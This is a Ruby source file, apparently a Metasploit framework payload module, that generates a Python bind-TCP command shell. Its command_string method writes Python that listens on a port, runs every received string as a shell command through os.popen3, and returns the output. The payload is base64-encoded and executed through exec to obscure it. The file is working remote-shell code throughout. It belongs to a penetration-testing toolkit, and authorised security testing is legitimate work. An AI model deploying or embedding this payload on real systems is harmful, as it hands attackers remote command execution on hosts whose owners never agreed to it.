57 lines
1.5 KiB
Ruby
57 lines
1.5 KiB
Ruby
require 'msf/core/handler/bind_tcp'
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require 'msf/core/payload/python'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = 381
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Command Shell, Bind TCP (via python)',
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'Description' => 'Creates an interactive shell via python, encodes with base64 by design',
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'Author' => 'mumbai',
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'License' => MSF_LICENSE,
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'Platform' => 'python',
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'Arch' => ARCH_PYTHON,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'python',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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def generate
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super + command_string
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end
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def command_string
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cmd = ''
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dead = Rex::Text.rand_text_alpha(2)
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# Set up the socket
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cmd << "import socket,os\n"
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cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
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cmd << "so.bind(('#{datastore['RHOST']}',#{ datastore['LPORT']}))\n"
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cmd << "so.listen(1)\n"
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cmd << "so,addr=so.accept()\n"
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cmd << "#{dead}=False\n"
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cmd << "while not #{dead}:\n"
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cmd << "\tdata=so.recv(1024)\n"
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cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
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cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
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cmd << "\tso.send(stdout_value)\n"
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# base64
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cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
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cmd
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end
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end
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